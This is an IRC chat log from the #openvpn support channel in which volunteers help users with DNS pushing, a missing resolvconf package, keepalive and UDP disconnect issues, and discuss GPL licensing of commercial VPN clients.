06:07 -!- master_o1_master [~master_of@p4FF248D4.dip.t-dialin.net] has quit [Ping timeout: 256 seconds]
06:10 -!- BAMbanda [~BAMbanda@c-98-231-137-71.hsd1.md.comcast.net] has quit [Ping timeout: 240 seconds]
06:18 -!- alijosa [~alijosa@cpc8-benw9-2-0-cust233.16-2.cable.virginmedia.com] has quit [Ping timeout: 264 seconds]
06:32 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
06:47 -!- alijosa [~alijosa@cpc8-benw9-2-0-cust233.16-2.cable.virginmedia.com] has joined #openvpn
06:51 < xvzf> I installed update-resolv-conf script from above, and used --script-security 3 system, but I still do not see the names behind the tunnel -- what else do I need?
07:01 <@dazo> xvzf: check /etc/resolv.conf
07:05 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
07:20 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
07:22 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
07:26 < MacGyver> xvzf: Have you added the push-option?
07:27 < MacGyver> xvzf: Installing the script is not enough - you need to push the settings the script needs.
07:33 < xvzf> MacGyver - I have put     push "dhcp-option DNS ip.ad.dr.ess" into the openvpn client config file
07:34 < Dropje> xvzf: you'll need to put that in your server conf, not your client conf
07:35 < xvzf> Dropje: you mean the openvpn server conf?
07:35 < Dropje> xvzf: yes, what else ;)
07:36  * xvzf just wondered, this was not clear... 
07:36 < Dropje> !man
07:36 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
08:11 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Quit: mirco]
08:16 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
08:31 < xvzf> I asked the administrator of the remote machine and he told meg that it is in the log that dhcp-option DNS 10.2.2.6. Still dns does not resolve the names over the tunnel. What else do I need?
08:31 < Dropje> xvzf: post your client log
08:32 < Dropje> and your client conf
08:35 -!- alijosa [~alijosa@cpc8-benw9-2-0-cust233.16-2.cable.virginmedia.com] has quit [Ping timeout: 252 seconds]
08:36 < xvzf> Dropje: log: http://pastebin.com/TueRA1Aw config: http://pastebin.com/0d4xgPDM
08:42 < Dropje> xvzf: what does your /etc/resolv.conf look like after connecting?
08:42 -!- alijosa [~alijosa@cpc8-benw9-2-0-cust233.16-2.cable.virginmedia.com] has joined #openvpn
08:44 < xvzf> # Generated by NetworkManager \ search hu \ nameserver 212.40.96.171\ nameserver 212.40.96.170 -- \ for new line, it did not change
08:44 < Dropje> where did you get the update-resolv-conf script from? i'm not quite sure if this is a normal log entry:
08:45 < Dropje> /etc/openvpn/update-resolv-conf tun0 1500 1542 10.80.1.134 10.80.1.133 init
08:45 < Dropje> xvzf: how are you starting the openvpn client?
08:46 < xvzf> ifconfig gives P-t-P:10.80.1.133 and inet addr:10.80.1.134
08:46 -!- JackWinter [~jack@vodsl-9778.vo.lu] has quit [Quit: ZNC - http://znc.in]
08:46 < Dropje> xvzf: i know it does, that's the /30 assigned
08:47 < Dropje> but has nothing to do with updating your resolv.conf
08:47 < xvzf> http://www.subvs.co.uk/openvpn_resolvconf I got the script from
08:47 <@vpnHelper> Title: openvpn and resolv.conf | SubVS.co.uk (at www.subvs.co.uk)
08:47 -!- _methods [~minotaur@192.81.210.43] has joined #openvpn
08:48 < xvzf> and I start openvpn as sudo openvpn --config .openvpn/vpngw-gbuday.ovpn --script-security 3 system
08:48 -!- JackWinter [~jack@vodsl-9778.vo.lu] has joined #openvpn
08:50 < Dropje> xvzf: is it executable? set your logging more verbose
08:50 < Dropje> !logs
08:51 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
08:51 < xvzf> and my update-resolv-conf script dumped http://pastebin.com/Xm6zjhnG
08:52 < Dropje> xvzf: ls -l /etc/openvpn/update-resolv-conf
08:52 < Dropje> check permissions
08:52 < Dropje> is it executable?
08:52 < xvzf> yes, for root
08:52 < xvzf> and I run openvpn with sudo
08:53 < Dropje> ok set your logging to verb 5
08:53 < xvzf> -rwxr--r--  1 root root 3233 Apr  5 13:24 update-resolv-conf
08:54 < xvzf> http://pastebin.com/C8dWSmN4 is my new log with verb 5 set
08:55 < Dropje> doesn't provide any helpful info.. hmm try putting "set -x" on top of the update-resolv-conf script
08:55 < Dropje> provide another log after that
08:56 < xvzf> just a minute...
08:56 < Dropje> ahh wait a sec..
08:56 < Dropje> [ -x /sbin/resolvconf ] || exit 0
08:56 < Dropje> does that binary even exist?
08:56 < Dropje> /sbin/resolvconf
08:57 < xvzf> nope
08:57 < xvzf> I do a find for it
08:57 < Dropje> you're missing a package
08:57 < Dropje> which os are you running?
08:58 < xvzf> fedora
08:59 -!- JackWinter [~jack@vodsl-9778.vo.lu] has left #openvpn ["Konversation terminated!"]
08:59 < xvzf> unbound?
08:59 < Dropje> i'm not sure what the package name is you need, sec
09:00 < Dropje> hmm try yum install resolvconf?
09:01 < xvzf> No package resolvconf available -- I do a search
09:02 < Dropje> would be better to do something like: [ -x /sbin/resolvconf ] || { echo "Package resolvconf unavailable; exit 0; }
09:03 < xvzf> fine, but that would not update resolv.conf as I guess
09:04 < Dropje> xvzf: no, that won't fix anything but i think it will log the stdout to the openvpn.log so you'll know directly whats up
09:05 -!- JackWinter [~jack@vodsl-9778.vo.lu] has joined #openvpn
09:05 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
09:07 < xvzf> I have found how to install it: http://www.grid-appliance.org/wiki/index.php/How_to_install_resolvconf_on_Linux
09:07 <@vpnHelper> Title: How to install resolvconf on Linux - Grid-Appliance Wiki (at www.grid-appliance.org)
09:08 < Dropje> xvzf: try a "yum install openresolv" first
09:08 < xvzf> No package openresolv available.
09:12 < xvzf> and it works now, thanks indeed. Sorry, this simple thing to check whether all things are really executable did not come to my mind
09:13 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:16 < Dropje> xvzf: cool
09:17 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
09:27 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 256 seconds]
09:31 -!- xbanux [~xbanux@114.143.216.139] has quit []
09:32 -!- amir__ [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
09:34 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
09:38 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has joined #openvpn
09:42 -!- amir__ [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
09:44 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:03 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
10:13 -!- raidz_away is now known as raidz
10:13 -!- Orbi [~opera@46.246.36.187] has joined #openvpn
10:57 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
11:01 -!- _BAMbanda [~BAMbanda@199.58.84.40] has quit [Quit: Leaving]
11:03 -!- zat [~zatty@ax313-2-89-86-124-89.dsl.sta.abo.bbox.fr] has quit [Quit: Quitte]
11:12 -!- amir__ [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
11:13 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
11:14 -!- amir__ [~amir@unaffiliated/amir] has quit [Client Quit]
11:15 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
11:16 -!- amir__ [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
11:21 -!- vaillor2 [~ahah@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
11:23 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has quit [Ping timeout: 255 seconds]
11:35 < vaillor2> guys
11:36 < vaillor2> my vpn works also not using "local"
11:37 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
11:38 -!- vaillor2 [~ahah@2-226-37-187.ip179.fastwebnet.it] has quit [Read error: Connection reset by peer]
11:39 -!- amir__ [~amir@unaffiliated/amir] has quit [Client Quit]
11:43 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
11:44 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
11:46 -!- xvzf [~gergoe@pool-046ad.externet.hu] has quit [Quit: Leaving]
11:48 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
12:03 -!- |Mike| [~mike@auth.nl] has joined #openvpn
12:03 -!- |Mike| [~mike@auth.nl] has quit [Client Quit]
12:15 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
12:25 -!- speed_racer8 [~speed_rac@h47.188.213.151.dynamic.ip.windstream.net] has joined #openvpn
12:32 <@dazo> vaillor: "local" is not required
12:33 < vaillor> is required if i'm on the same network of vpn server
12:33 < vaillor> and this is my case :)
12:35 < Wintereise> It's required if you need to bind specifically to something.
12:35 < Wintereise> Otherwise no
12:36 -!- AccessDenied [Betrayer@gateway/shell/trekweb.org/x-vujyfcaqcurnqaav] has joined #openvpn
12:56 -!- abdulelah [~abdulelah@95.154.211.36] has joined #openvpn
12:57 < abdulelah> hi
12:58 < abdulelah> I have a question. is there a downside/risks to the server if you offer auto-login profiles to your clients?
13:01 < pekster> Without any implementation details that's impossible to say
13:04 < abdulelah> I'm a client to a commercial vpn service who at the moment are offering only server-locked and user-locked but I'm suffering from the 24hour reauthorization process as i get disconnected. I want to know if they have a good reason not to offer the auto-login profile
13:06 < pekster> I have zero clue what any of that means
13:07 < pekster> OpenVPN can authenticate from a client perspective using X509 certificates, a user+pass combination, or both. What "auto-login profile" means is anyone's guess. Try their tech support channels. I'm not their paid support, nor do I care to figure out what some stupid company is selling
13:07 < pekster> Go talk to the snake oil vendor and have them explain it
13:08 < abdulelah> :) lol server-locked and user-locked client profiles have their session by default set to expire after 24 hours in openvpn
13:08 < pekster> That has nothing at all to do with openvpn
13:08 < pekster> !notovpn
13:08 <@vpnHelper> "notovpn" is "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem
13:08 < pekster> !provider
13:08 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
13:08 < kisom> pekster: auto-login profile is a term used in the iOS/android app that describes a configuration file which only uses a certificate for authentication without the need for other credentials.
13:13 < abdulelah> i'm asking about the usage and implementation of those profiles "pros/cons" I'm not trobouleshooting the commercial service
13:14 < pekster> abdulelah: The terms you're using have no meaning in the open-source GPL OpenVPN product supported here. "OpenVPN Connect" is a commercial, closed-source product sold and maintained by OpenVPN Technologies, a company that sells VPN connenctivity solutions
13:15 < pekster> abdulelah: The open-source OpenVPN application is able to authenticate users based on X509 certificates (ie: pubkey auth) and optionally use user/pass in addition or in place of client cert authentication
13:15 < pekster> Thse are the *only* methods of authenticating users
13:16 < abdulelah> i see. i didn't know about this division.
13:16 < pekster> !as
13:16 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
13:16 < pekster> This channel supports the "OpenVPN" project
13:16 < pekster> Anything bolted on top of that is not open-source, and thus the voulenteer community cannot support what we do not have access to the source code for
13:18 < pekster> You can do all sorts of creative things with the methods OpenVPN provides, anything from OTP auth, connections to Active Directory or LDAP, use of mobile authenticators, and all that either in place of or in addition to well-understood pubkey authentication
13:19 < abdulelah> ok thank for clearing that up
13:20 < pekster> You can also explore commercial solutions that try to do much of this for you and wrap it up in a pretty box and sell it to you. All depends what you're looking for
13:23 < abdulelah> I just want to know more in details about those profiles. I'm searching around for answers. thank for your help
13:24 < pekster> I'm not sure what the profiles do exactly since it's not a piece of software I have access to code to discover. It's as if I asked you to help me understand the Foobar Widget Authentication System and its drawbacks
13:24 < pekster> Generally speaking, if you can connect to a "secure" system without any credentials or providing a passphrase to unlock a cryptographic key, you have to assume it's stored in plaintet somewhere and an attaker with physical access to the connecting device can obtain those same credentials
13:25 -!- speed_racer8 [~speed_rac@h47.188.213.151.dynamic.ip.windstream.net] has quit [Quit: Leaving]
13:25 < pekster> Maybe you keep the "unencrypted" material on an encrypted hard disk volume, or inside an encrypted homedirectory unlocked as part of the user's passphrase. I'm pretty sure you don't have such fancy features on the iPhone (or android without a lot of hacking) but one can certainly harden such setups. That is, of course, way outside the scope of openvpn
13:27 -!- speed_racer8 [~speed_rac@h47.188.213.151.dynamic.ip.windstream.net] has joined #openvpn
13:35 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
13:36 < abdulelah> well my client is a tomatousb router. I see what you mean. thanks for you clarification.
13:38 < pekster> OpenVPN at its core has no such "24 hour reauthorization" feature/problem or anything like that. I've freqently had setups (some OpenWRT based, actually) that run for weeks/months without a connection drop
13:38 < vaillor> i don't know why redirect works also without setting route
13:38 < vaillor> i only set -A POSTROUTING -s 10.8.0.0/24 -j MASQUERADE
13:38 < vaillor> and enabled forward
13:38 < vaillor> and set redirect-gateway def1 on the client
13:38 < vaillor> and it works
13:42 -!- abdulela_ [~abdulelah@p5DC22FA7.dip.t-dialin.net] has joined #openvpn
13:44 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 245 seconds]
13:46 -!- abdulelah [~abdulelah@95.154.211.36] has quit [Ping timeout: 276 seconds]
13:49 -!- abdulela_ [~abdulelah@p5DC22FA7.dip.t-dialin.net] has quit [Ping timeout: 264 seconds]
13:52 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 276 seconds]
13:55 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
13:55 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Ping timeout: 252 seconds]
13:59 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
14:04 -!- dazo is now known as dazo_afk
14:13 -!- cek [~cek@crius.pantheon.fused.net] has joined #openvpn
14:16 -!- cek [~cek@crius.pantheon.fused.net] has quit [Client Quit]
14:37 -!- smerz [~smerz@a177088.upc-a.chello.nl] has joined #openvpn
14:53 -!- speed_racer8 [~speed_rac@h47.188.213.151.dynamic.ip.windstream.net] has quit [Ping timeout: 264 seconds]
14:59 < jzaw> !ping
14:59 <@vpnHelper> pong
14:59 < jzaw> ah good
15:00 < jzaw> i know the mtu-test takes a while
15:00 < jzaw> but do i see anything in the logs saying its started?
15:00 -!- jthunder [~jthunder@174.3.126.51] has quit [Remote host closed the connection]
15:01 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
15:08 < pekster> jzaw: Yes. https://github.com/OpenVPN/openvpn/blob/master/src/openvpn/occ.c#L197
15:08 <@vpnHelper> Title: openvpn/src/openvpn/occ.c at master · OpenVPN/openvpn · GitHub (at github.com)
15:10 -!- Markz [~Mr_WWide@109.169.18.13] has joined #openvpn
15:10 < Markz> hello
15:12 < Markz> somtimes i lose the connection to the vpn server somtimes after 5 minutes and sometime i can surf 1 hour before the connection lose i have both UDP and TCP in tcp no connection loeses but in the configuration fies for UDP i lose often
15:13 < Markz> like timeout something ping restart so
15:14 < pekster> It could be your network link between peers, or possibly a stateful (and possibly also NAT-aware) firewall timing out your connection if you don't use the --keepalive (--ping and --ping-restart) features or set them too far apart
15:14 < jzaw> pekster, i got
15:14 < jzaw> "NOTE: failed to empirically measure MTU (requires " PACKAGE_NAME " 1.5 or higher at other end of connection).");
15:14 < Markz> i cannot remember what but tcp no connection loeses but i will play onlinegames too
15:14 < jzaw> yet the client end is openwrt's openvpn 2.3
15:15 < jzaw> do i put mtu-test in the client.conf too?
15:15 < pekster> Normally you want to do that test from the client, not server
15:15 < Markz> can i put keepalive in the config file?
15:16 < pekster> !keepalive
15:16 <@vpnHelper> "keepalive" is (#1) see --keepalive in the manual for how to make clients retry connecting if they get disconnected. or (#2) basically it is a wrapper for managing --ping and --ping-restart in server/client mode or (#3) if you use this, don't use --tls-exit and also avoid --single-session and --inactive
15:16 < pekster> Markz: What are your keepalive settings now? Often this is simply pushed from the server and the client picks it up. Can you post your configs for the existing setup?
15:16 < pekster> !configs
15:16 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
15:16 < Markz> sudo openvpn --keepalive --config "filename"?
15:17 < pekster> No. The manpage explains how the directive works
15:17 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Remote host closed the connection]
15:17 < Markz> ok i post the config file in pastbin
15:17 < pekster> Both of them please
15:18 < Markz> do you know Kryptotel?
15:18 < pekster> No. If this is some random provider, we don't have anything to do with providers here. Just OpenVPN.
15:19 < vaillor> pekster, can you tell me why redirect works without using "route" directive ?
15:19 < pekster> Magic.
15:20 < vaillor> maybe is because i'm on the same network of vpn server?
15:20 < Markz> http://pastebin.com/Grc8qrN9
15:20 < pekster> Markz: And the server config?
15:21 < Markz> ?
15:21 < pekster> !both
15:21 <@vpnHelper> "both" is If you do not control both ends of the link (server and client) then there is not much we can do to help you. Please talk to your network admin instead.
15:21 < Markz> i have just the ovpn files
15:21 < pekster> Kinda hard to fix a network issue possibly relating to stateful firewalls when you can't provide details of both ends of the setup. Maybe a full client log at 'verb 4' could provide hints, but short of that I can't even guess as to the remote peer's setup
15:23 < Markz> im still connected?
15:23 < pekster> Apparently
15:24 < Markz> hm tcp goes nice but i will play online games too
15:24 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
15:26 < Markz> all the other vpns neve lose the connection just the vpns (UDP) from Krytotel
15:27 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Read error: Connection reset by peer]
15:27 < Markz> i think its note an problem of the router
15:27 < Markz> -e
15:28 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
15:28 < pekster> Then you should go contact your provider. My psychic powers are lacking. I've already told you it might be related to stateful firewall timeouts with UDP, which tend to be fairly short (60-180s isn't uncommon.) Of course, since you don't control both ends and apparently can't read enough to give me a verb 4 log output, speculation is all you'll get
15:28 < pekster> !101
15:28 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
15:29 -!- Markz [~Mr_WWide@109.169.18.13] has quit [Quit: Verlassend]
15:38 < jzaw> <pekster> Normally you want to do that test from the client, not server
15:38 < jzaw> ah thanks!
15:39 < jzaw> will try
15:46 -!- alijosa [~alijosa@cpc8-benw9-2-0-cust233.16-2.cable.virginmedia.com] has quit [Ping timeout: 260 seconds]
15:52 -!- Orbi [~opera@46.246.36.187] has left #openvpn []
15:56 -!- Markz [~Mr_WWide@109.74.3.24] has joined #openvpn
15:57 < Markz> did you mean the output when i connect sudo openvpn "filename" ?
15:57 < Markz> terminal
15:58 < Markz> ?
16:00 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has quit [Ping timeout: 258 seconds]
16:00 < Markz> which logyou need?
16:01 < pekster> !logfile
16:01 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info
16:01 < Markz> theres no daemon in the config file
16:01 < pekster> Then it's not sending to the syslog
16:02 < pekster> It'll spit log output to stdout unless redirected with --log, --log-append, --daemon, --syslog, or --inetd
16:02 -!- Orbi [~opera@46.246.36.187] has joined #openvpn
16:03 < Markz> i cannot handle with the terminal now theres a process the vpn
16:04 < pekster> !learn logfile as without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
16:04 <@vpnHelper> Joo got it.
16:05 < Markz> but what is with the output when i connect is this useful for you?
16:06 < pekster> I'm not really that interested in helping you since you're asking me to provide free support for a commerical platform I don't get paid to support
16:07 < pekster> If you can figure out how to put on a pastebin site (like gist.github.com) the full client output at verb 4 from your connection, I'm willing to glance at it
16:07 < Markz> commercial?
16:07 < Markz> openvpn
16:07 < Markz> what verb 4?
16:07 < Markz> ?
16:08 < pekster> !verb
16:08 <@vpnHelper> "verb" is (#1) verb command is for setting log verbosity, see --verb in the manual (!man) for more info or (#2) verb 5 is good for debugging, verb 3 is good for normal usage
16:08 < pekster> I pasted this earlier, but:
16:08 < pekster> !both
16:08 <@vpnHelper> "both" is If you do not control both ends of the link (server and client) then there is not much we can do to help you. Please talk to your network admin instead.
16:08 < Markz> and when should i make the command?
16:09 < Markz> now its a process in terminal
16:09 < pekster> After you've read enough of the manpage that docouments them to figure out how to set the verbosity and logging
16:09 < pekster> !man
16:09 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
16:10 < Markz> can i put the name daemon in config file?
16:10 < pekster> If you're unwilling to learn how this software works, then don't expect me to be free tech support for a company trying to sell VPN services. I'm not their tech support, and I'm not paid to fix their setup. Please go to them
16:12 < Markz> i will not say here vpn provider im not paying for your service but i used that little joke but you know
16:13 < Markz> its like " "
16:16 < Markz> i can wait you will see its interrupt from time to time
16:17 < Markz> just on UDP not TCP but online games
16:18 < Markz> maybe when i connect to irc it  will not interrupt like there is something in the background
16:19 < pekster> Which is what I told you an hour ago. OpenVPN won't be very useful to you if you don't understand basic networking concepts
16:19 < pekster> !basic
16:19 <@vpnHelper> "basic" is if you do not understand basic networking, you probably should not be administrating a vpn... you should understand the basics of routing / firewalls first
16:20 < Markz> but normally from time to time lose the connection when i browse the internet or play online games on UDP
16:21 -!- Moonlightning [~blackl@108-254-145-35.lightspeed.sntcca.sbcglobal.net] has joined #openvpn
16:23 < Markz> is there an text i can put to the config file then the connection will nerver lose?
16:23 < Moonlightning> Markz: you can't guarantee an Internet connection from a config file. ;)
16:23 < Moonlightning> Or any kind of file, really.
16:24 < Moonlightning> Actually, it's quite impossible to guarantee an Internet connection with 100% uptime…
16:24 < Markz> ok and now?
16:24 < kisom> Markz: Read the section about --persist-tun.
16:25 < Markz> oh no not pls
16:25 < Markz> theres a process in the temrinal
16:25 < kisom> so background it.
16:25 < kisom> or create a new terminal.
16:25 < kisom> or read a book about linux.
16:26 -!- Starthunder [~blackl@108-254-145-35.lightspeed.sntcca.sbcglobal.net] has joined #openvpn
16:26 < Markz> where the time when not solen
16:26 -!- Moonlightning [~blackl@108-254-145-35.lightspeed.sntcca.sbcglobal.net] has quit [Disconnected by services]
16:26 < kisom> I'm sorry, I don't understand your English.
16:26 < Markz> you cannot steel the time
16:27 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-zftxatyrqtzufryq] has quit [Ping timeout: 245 seconds]
16:27 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has quit [Quit: I quit]
16:28 < MacGyver> Markz: What is your native language?
16:28 < Markz> yesterday when i watch an long youtube video also not lose the connectin round about over 1 hour a concert i watched
16:28 < Markz> UDP
16:29 < MacGyver> Oh it's him.
16:29 < MacGyver> Markz / mr_worldwide: Language barrier is presenting a problem again it seems.
16:29 < Markz> i can stay here and see how long i never lose the connection
16:30 < Markz> normally not more than a hour or somtime 1 and a half
16:30 < Markz> sometimes after 5 minutes
16:30 < Markz> i cannot say
16:31 < Starthunder> Can I have my server set itself as the primary DNS server for clients?
16:31 < Starthunder> …that was phrased badly. XD
16:31 < kisom> Starthunder: Did you even look at the manpage?
16:31 < Starthunder> Probably not well enough. vv
16:31 < pekster> !pushdns
16:31 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
16:32 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
16:32 < pekster> Starthunder: ^^
16:32 < Starthunder> Thanks. XD
16:33 < Markz> when more than 2 hours then i can say yes i must to have an connection like irc in the background but i dont like irc so much ol we will see
16:34 < kisom> Speaking of kryptotel... I see no source code provided on their site
16:35 < Markz> hm i found a video on youtube 9 free vpn servers.....
16:35 < Markz> perhaps this is a link a fake or so
16:38 < Markz> anayway i use https often for real secure things they can have my bandwith for making trouble anonym just jo
16:38 -!- Orbi [~opera@46.246.36.187] has left #openvpn []
16:39 < MacGyver> Maybe if I google translate his English back into German and then do a mental translation I can make sense of it...
16:40 < Markz> perhaps too many found this video on youtube and too many uses the same keys can this?
16:40 < Markz> and than then connection loses
16:40 < Markz> -then
16:41 < kisom> krzee: See a problem in the channel? :)
16:41 -!- brute11k [~brute@89.249.230.11] has quit [Quit: Leaving.]
16:43 < Markz> Fri Apr  5 22:50:57 2013 Initialization Sequence Completed but 1 hour often i wait 2 hours
16:43 < MacGyver> Could he be talking about the normal hourly re-keying?
16:44 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 252 seconds]
16:45 < Markz> this cannot be normal when you must kill the openvpn process and reconnect
16:46 < kisom> Markz: You won't get any help here due to the language barrier and due to the fact that you do not have access to the server side. Ask the provider, you are paying them for a service and they should provide support.
16:48 < Markz> ok ok but i make no more questions i will only see if when i connected to irc if the connection also lose from time to time or you know
16:49 < pekster> kisom: IIRC, they don't need to provide sources if they aren't linking against openvpn sources or using a modified version. They do need to provide the user some accessible info about the GPL status of openvpn. It wouldn't be the first provider trying to brand openvpn as Acme Product though :(
16:51 < kisom> pekster: Really, so it's OK to just embed the installer, run it silently and then install a GUI over it all?
16:51 < pekster> That would not be providing user-accessible info about the GPl status now would it? :(
16:52 < kisom> No, but lets say it shows the GNU license when installing, that'd make it better?
16:52 < pekster> Yup, if it's clear that it's the license for OpenVPN
16:53 < pekster> "Software as a service" is a valid business model. You just need to make sure to do it legally. Although really, they'd also need to provide the distinction in a help:about menu or something
16:53 < pekster> "Blah blah blah, Acme Inc Widget uses software from the OpenVPN codebase, a GPL project with licensing available..."
16:53 < MacGyver> And they'd have to point you to where they got it, right?
16:54 < pekster> Right
16:54 < kisom> Yes, that's what we do at work. On the other hand we do provide source code as well to the full client.
16:54 < MacGyver> I don't get the closed-source security products.
16:54 < pekster> Right. "technically" you can simple bundle it with an *obvious* declaration that you've done so provided no code linking was done
16:54 < kisom> Most of the logic is at the server side anyways :)
16:55 < MacGyver> I mean, it's security. Open source is not just a decent development model, not just a nice courtesy to your fellow man... it's common sense...
16:56 < MacGyver> It's the only way your product will ever get the review it needs to actually make it *secure*, not just hype.
16:56 < MacGyver> And I still don't understand why people and companies buy into that.
16:56 < MacGyver> That being closed-source security software.
16:56 < kisom> MacGyver: Because they get someone to yell at when shit hits the fan.
16:56 < kisom> That's the only reason.
16:57 < MacGyver> kisom: Open source does not preclude a company developing and supporting it.
16:58 < kisom> MacGyver: Agreed. But there are still lots of software where no open source alternative exists.
16:59 < Starthunder> Derp
16:59  * Starthunder just tried to `sudo /etc/init.d/openvpn restart` while being logged in over the VPN
16:59 < Starthunder> And I wondered why it was taking so long.
17:00 < kisom> Starthunder: screen is the shit ;)
17:00 < Starthunder> I know, I know
17:00 < Starthunder> I'm using screen :P
17:00 < MacGyver> <fanboyism>
17:00 < Starthunder> Thing is, it's running on the local machine, not the remote x.x
17:00 < MacGyver> tmux pwns screen every step of the way!
17:00 < Starthunder> So it doesn't help that much.
17:00 < MacGyver> </fanboyism>
17:02 < kisom> MacGyver: Where can I get a crash course in tmux?
17:02 < kisom> It looks nice
17:02 < MacGyver> kisom: Act like it's screen.
17:02 < MacGyver> kisom: Except when you'd use ctrl+a, use ctrl+b.
17:02 < MacGyver> Done.
17:02 < MacGyver> Oh, and use vertical splits.
17:03 < MacGyver> Or uh.
17:03 < MacGyver> Horizontal splits.
17:03 < kisom> Nice, it works
17:03 < MacGyver> I always forget which ones.
17:03 < MacGyver> The one that screen doesn't have except on distros which cheat ;)
17:03 < Starthunder> MacGyver: horizontal is like the horizon ;)
17:03 < pekster> Cute, that provider burries the only reference to OpenVPN on their website under an "Avg Antivirus Users" section, and links directly to the 2.2-RC release. Idiots.
17:04 < pekster> And their website has a lovely apache "It Works!" message if you don't inlude the www. subdomain. They're clueless. I wouldn't trust them to show me meme images
17:04 < Starthunder> hahaha
17:04 < Starthunder> Fail~
17:04 -!- Kalavera [~Kalavera@aquiles.novelix.com.pe] has joined #openvpn
17:04 < kisom> pekster: better yet, it uses some 2.1-rc version in their installer ;)
17:04 < kisom> Tried it in a VM
17:04  * Starthunder gigglefits
17:05 < pekster> kisom: Ah, I was getting there but I haven't booted my XP VM in long enough it has a laundry list of updates to get through first
17:05 < pekster> Oh well. Dime a dozen for bad ways to flush money
17:06 < Markz> when it is so that i must have an background connection so what can i do to make this without an background connection  or so you dont have to answer but pls do not kick or so
17:06 < Starthunder> :I
